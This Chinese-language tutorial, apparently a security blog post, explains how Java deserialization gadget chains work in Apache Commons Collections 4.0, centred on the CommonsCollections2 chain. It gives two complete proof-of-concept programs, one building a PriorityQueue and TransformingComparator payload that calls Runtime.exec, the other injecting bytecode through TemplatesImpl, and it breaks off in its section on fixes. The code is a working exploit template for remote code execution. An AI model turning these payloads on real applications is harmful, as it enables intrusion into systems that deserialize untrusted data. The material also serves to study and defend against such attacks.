一、前言
Apache Commons Collections 是一个著名的辅助开发库,包含了一些Java中没有的数据结构和辅助方法,不过随着Java 9 以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。
在2015年底的commons-collections反序列化利用被提出时,Apache Commons Collections有以下两个分支版本:
- commons-collections:commons-collections
- org.apahce.commons: commonst-collections4
可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。
官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?
二、commons-collections4的改动
因为两者可以共存,可以将两个包安装到同一个项目中比较:
<dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commonscollections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 --><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>
</dependencies
因为老的Gadget 中依赖的包名都是 org.apache.commons.collections , 而新的包名已经变成 org.apache.commons.collections4。 我们用熟悉的CommonsCollections6 利用链做例子,直接把代码拷贝一遍,并且将所有 import org.apache.commons.collections.* 改成 import org.apache.commmons.collections4.*
此时 IDE 爆出了一个错误,原因是 LazyMap.decorate 这个方法没了:
我们查看下 Commons.collection3中 decorate的定义,代码很简单
public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}
这个方法不过就是 LazyMap 构造函数的一个包装,而在 commons.collection4 中这是改了个名字叫 lazyMap:
public static <K, V> LazyMap<K, V> lazyMap(Map<K, V> map, Factory<? extends V> factory) {return new LazyMap(map, factory);}
所以我们将Gadget中出错的代码换一下名字:
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
解决了错误,成功执行代码
同理,之前的 CC1、CC3利用链都可以在 commonscollections4 的包中使用。
三、CommonsCollections2 利用链
commons-collections 这个包之所以能攒出那么多的利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可以执行任意方法的Transformer。 所以,在commons-collections 中找 Gadget的过程,实际上可以简化为,找一条从 Serialization#read Object() 方法到 Transformer#transform() 方法的调用链。
故而,我们学习下CommonsCollections2 利用链,其用到的关键的两个类如下:
- java.util.PriorityQueue
- org.apache.commons.collections4.comparators.TransformingComparator
java.util.PriorityQueue 是一个有自己 readObject() 方法的类:
org.apache.commons.collections4.comparators.TransformingComparator 中有调用 transform() 方法 的函数,且里面的transformer来自于构造函数的传参:
TransformingComparator.classpublic TransformingComparator(Transformer<? super I, ? extends O> transformer) {this(transformer, ComparatorUtils.NATURAL_COMPARATOR);}public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {this.decorated = decorated;this.transformer = transformer;}
public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);
}
所以,CommonsCollections2 利用链 实际就是一条从 PriorityQueue 到 TransformingComparator 的利用链。
Gadget chain:
- ObjectInputStream.readObject()
- PriorityQueue.readObject()
- PriorityQueue.heapify()
- PriorityQueue.siftDown()
- PriorityQueue.siftDownUsingComparator()
- TransformingComparator.compare()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.exec()
了解下他们是怎么连接起来的。 PriorityQueue#readObject() 中调用了 heapify() 方法 , heapify() 中调用了 siftDown() , siftDown() 中调用了 siftDownUsingComparator() , siftDownUsingComparator() 中调用的 comparator.compare() ,于是就连接到上面的 TransformingComparator了:
PriorityQueue.classprivate void heapify() {for(int var1 = (this.size >>> 1) - 1; var1 >= 0; --var1) {this.siftDown(var1, this.queue[var1]);}private void siftDown(int var1, E var2) {if (this.comparator != null) {this.siftDownUsingComparator(var1, var2);} else {this.siftDownComparable(var1, var2);}private void siftDownUsingComparator(int var1, E var2) {int var4;for(int var3 = this.size >>> 1; var1 < var3; var1 = var4) {var4 = (var1 << 1) + 1;Object var5 = this.queue[var4];int var6 = var4 + 1;if (var6 < this.size && this.comparator.compare(var5, this.queue[var6]) > 0) {var4 = var6;var5 = this.queue[var6];}if (this.comparator.compare(var2, var5) <= 0) {break;}this.queue[var1] = var5;}this.queue[var1] = var2;}
而 this.comparator 和 this.queue来自于 PriorityQueue的构造函数传参中中:
PriorityQueue.class private final Comparator<? super E> comparator;public PriorityQueue(int var1, Comparator<? super E> var2) {this.size = 0;this.modCount = 0;if (var1 < 1) {throw new IllegalArgumentException();} else {this.queue = new Object[var1];this.comparator = var2;}}
总结一下:
- java.util.PriorityQueue 是一个优先队列(Queue) ,基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树
- 反序列化时为什么需要调用 heapify() 的方法? 为了反序列化后,需要恢复这个结构的顺序
- 排序是将靠大的元素下移实现的。siftDown() 是将节点下移的函数, 而 comparator.compare() 用来比较元素的大小
- TransformingComparator 实现了 java.util.Comparator 接口, 这个接口用于定义两个对象如何进行比较。 siftDownUsingComparator() 中就是使用这个接口的compare() 方法比较树的节点
关于 PriorityQueue 这个数据结构的具体原理,可以参考这篇⽂章:PriorityQueue源码分析 - linghu_java - 博客园
开始编写POC,⾸先,还是创建Transformer:
Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1) };
Transformer[] transformers = new Transformer[]{new ConstantTrransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[] {String.class}, new String[]{"calc.exe"})};Transformer transformerChain= new ChainedTransformer(fakeTransformers);
再创建一个 TransformingComparator ,传入我们的 Transformer:
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
完整的POC如下:
运行环境:
java 1.8.0_71commons-collections4.0
CommonsCollections2.javapackage com.govuln.shiroattack;import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;public class CommonsCollections2 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0] }),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Comparator comparator = new TransformingComparator(transformerChain);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(2);setFieldValue(transformerChain, "iTransformers", transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}
四、使用无Transformer数组改进 CommonsCollections2利用链
前文说过利用 TemplatesImpl 可以构造出无 Transformer数组 的利用链,这里将CC2这条链也改进下。
首先,还是创建一个 TemplatesImpl对象:
Templates obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});setFieldValue(obj,"_name", "Hello");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(obj);queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
完整的poc如下:
运行环境:
java 1.8.0_71commons-collections4.0
templatesForCommonsCollections2.javapackage com.govuln.shiroattack;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;public class templatesForCommonsCollections2 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}protected static byte[] getBytescode() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(Evil.class.getName());return clazz.toBytecode();}public static void main(String[] args) throws Exception{Templates obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});setFieldValue(obj,"_name", "Hello");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer transformer = new InvokerTransformer("toString", null, null);Comparator comparator = new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(obj);queue.add(obj);setFieldValue(transformer, "iMethodName", "newTransformer");ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}
五、修复说明
1、PriorityQueue的利⽤链是否⽀持在commons-collections 3中使⽤?
不能,因为利用链的关键类 org.apache.commons.collections4.comparators.TransformingComparator,在 commons-collections4.0 以前没有实现 Serializable接口,无法在序列化中使用
2、Apache Commons Collections 官方是如何修复反序列化漏洞的?